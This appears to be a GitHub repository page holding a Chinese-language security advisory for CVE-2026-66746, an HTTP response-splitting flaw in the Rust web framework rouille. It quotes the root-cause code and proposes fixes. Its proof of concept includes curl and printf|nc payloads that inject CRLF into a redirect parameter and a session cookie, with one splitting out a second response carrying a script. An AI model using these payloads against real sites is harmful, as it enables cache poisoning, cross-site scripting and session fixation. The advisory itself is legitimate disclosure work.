theopaid/CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

GitHub: theopaid/CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

该公告披露了 Rust Web 框架 rouille 因未过滤响应头中的 CRLF 字符而导致的 HTTP 响应拆分漏洞(CVE-2026-66746)。

Stars: 0 | Forks: 0

# 安全公告:通过未经验证的响应头值引发的 HTTP 响应拆分 **分配的 CVE ID:** CVE-2026-66746 ## 概要 rouille 在将响应头值写入客户端时,不会检查其中是否包含回车符或换行符。因此,如果应用程序将受攻击者影响的文本放入响应头值中,就会在网络中发送额外的响应头,甚至发送整个第二个 HTTP 响应。 rouille 的两个特性使得这种情况在普通代码中即可被触发。`Request::get_param` 会进行百分号解码,因此查询字符串中的 `%0d%0a` 会变成真实的 CRLF。此外,`session::session` 会将客户端自身的 `Cookie` 值直接复制到 `Set-Cookie` 中,且完全没有进行验证。 其他所有广泛使用的 Rust HTTP 栈都在类型层面拒绝了此类行为:`http::HeaderValue::from_str` 遇到 CR 和 LF 时会返回 `InvalidHeaderValue`,这也是 hyper、axum、actix-web 和 warp 不会以同样方式暴露于此漏洞的原因。 ## 受影响版本 Repo URL: https://github.com/tomaka/rouille | | | |---|---| | 首个受影响版本 | 0.4.0 (2016-12-14),针对下方的响应头路径 | | 最后受影响版本 | 3.6.2 (2023-04-24),当前发布版本 | | 修复版本 | 截至撰稿时无修复版本 | 0.4.0 之前的版本通过不同的代码路径发出响应,该路径尚未经过检查,因此不对其做任何保证。路径 B 中描述的 `session::session` 反射行为自 0.3.2 (2016-12-02) 起就已存在。 ## 严重性 CWE-113(HTTP 响应头中 CRLF 序列的不正确中和),属于 CWE-93(CRLF 注入)的一个特例。 CVSS 4.0 基础评分 5.3(中危) `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` ## 威胁模型 路径 A 需要一个远程、未经身份验证的攻击者,以及一名点击了攻击者提供链接的受害者。攻击者需要应用程序将任何源自请求的字符串放入响应头中。重定向到 `next` 或 `return_to` 查询参数是最常见的情况。 路径 B 仅要求应用程序调用 `session::session` 并读取会话 ID。攻击者可以控制自身的 `Cookie` 头,因此就其自身而言,这属于自找麻烦。但是,当共享缓存存储了被拆分的响应时,或者结合其他能够在受害者浏览器中设置 cookie 的方法时,这就会演变成针对他人的攻击。 ## 根本原因 `rouille/src/lib.rs` 第 624 到 640 行直接透传了这些值: ``` 624 for (key, value) in rouille_response.headers { 625 if key.eq_ignore_ascii_case("Content-Length") { 626 continue; 627 } 628 629 if key.eq_ignore_ascii_case("Upgrade") { 630 upgrade_header = value; 631 continue; 632 } 633 634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes()) 635 { 636 response.add_header(header); ``` `Header::from_bytes` 仅检查这些字节是否为 ASCII 字符,而 CR 和 LF 本身就是 ASCII 字符。`tiny_http-0.12.0/src/common.rs` 第 166 到 172 行: ``` 166 pub fn from_bytes(header: B1, value: B2) -> Result ... 171 let header = HeaderField::from_bytes(header).or(Err(()))?; 172 let value = AsciiString::from_ascii(value).or(Err(()))?; ``` 随后该值在写入时没有进行任何转义。 `tiny_http-0.12.0/src/response.rs` 第 99 到 104 行: ``` 99 for header in headers.iter() { 100 writer.write_all(header.field.as_str().as_ref())?; 101 write!(&mut writer, ": ")?; 102 writer.write_all(header.value.as_str().as_ref())?; 103 write!(&mut writer, "\r\n")?; 104 } ``` ### 路径 A,百分号解码的查询参数 `Request::get_param` 会解码百分号转义字符,因此调用者会接收到真实的控制字符。`rouille/src/lib.rs` 第 928 到 932 行: ``` 928 .map(|value| { 929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes()) 930 .decode_utf8_lossy() 931 .into_owned() 932 }) ``` ### 路径 B,从请求中反射的会话标识符 `rouille/src/session.rs` 在第 59 行从客户端的 cookie 中获取 key,并在第 75 到 81 行将其插入到响应头中: ``` 59 key: cookie.into(), ... 75 let header_value = format!( 76 "{}={}; Max-Age={}; Path=/; HttpOnly", 77 cookie_name, session.key, timeout_s 78 ); 79 response 80 .headers 81 .push(("Set-Cookie".into(), header_value.into())); ``` ## 概念验证 ### 路径 A 步骤 1. 启动一个重定向到查询参数的服务器。 ``` use rouille::Response; fn main() { rouille::start_server("127.0.0.1:8002", |request| { let next = request.get_param("next").unwrap_or_else(|| "/".to_string()); Response::redirect_303(next) }); } ``` 步骤 2. 在参数中带上 `%0d%0a` 发起请求。 ``` curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes' ``` 结果。`X-Injected` 作为一个独立的响应头到达: ``` HTTP/1.1 303 See Other Server: tiny-http (Rust) Location: /a X-Injected: yes Content-Length: 0 ``` 步骤 3. 将载荷扩展到响应头末尾之后,以发出一个完整的第二个响应。 ``` curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E' ``` 结果。一次请求,两个完整的响应。第二个响应携带了由攻击者指定的状态行、内容类型和主体: ``` HTTP/1.1 303 See Other Location: /a Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html ``` ### 路径 B 步骤 1. 使用文档中记载的 session 惯用法启动一个服务器。 ``` use rouille::{session, Response}; fn main() { rouille::start_server("127.0.0.1:8006", |request| { session::session(request, "SID", 3600, |s| { Response::text(format!("session id: {}", s.id())) }) }); } ``` 步骤 2. 发送一个值包含裸 LF 的 cookie。下方的 `\n` 是单个换行符,`\r\n` 是 CRLF。 ``` printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006 ``` 结果。该值脱离了 `Set-Cookie` 并占据了一行: ``` Set-Cookie: SID=abc X-Injected: yes; Max-Age=3600; Path=/; HttpOnly ``` 路径 B 有三个值得注意的限制。首先,只有裸 LF 能够通过,因为 CRLF 会在 `tiny_http` 中结束响应头行,因此客户端或缓存必须将单独的 LF 视为终止符。其次,注入点之后的所有内容仍然会带有来自同一个 `format!` 的 `; Max-Age=3600; Path=/; HttpOnly` 后缀,因此该利用手段只能生成带有固定尾随字符串的响应头,而不是纯净的任意响应头。最后,攻击者只能控制自身的 cookie。而路径 A 则没有这些限制。 ## 影响 在源的安全上下文中执行脚本;发生缓存中毒,即共享缓存将注入的响应对应到受害者的 URL 上;通过注入的 `Set-Cookie` 进行会话固定;以及覆盖诸如 CSP 或 CORS 等安全头。由于路径 A 产生了真实的 CRLF,每个客户端和缓存都会据此进行拆分。 ## 修复方案 在将响应头移交给 `tiny_http` 之前,在 `Server::process` 中验证响应头值,位于 `rouille/src/lib.rs` 第 634 行附近: ``` fn header_value_is_safe(v: &str) -> bool { !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0) } ``` 对整个响应返回 500 状态码,而不是直接丢弃有问题的响应头,这样可以使失败变得可见,而不是静默地更改响应。 同样在 `session::session` 中验证会话 key:拒绝不符合 `[A-Za-z0-9]+` 的 cookie 值,并改为生成一个全新的 ID。在 `Response::with_additional_header`、`with_unique_header` 以及 `redirect_*` 构造函数中进行检查,可以在调用处暴露该错误,以便应用程序开发者能够采取相应的应对措施。
标签:CRLF注入, HTTP响应拆分, Rust, Web框架, 可视化界面, 漏洞通报, 网络流量审计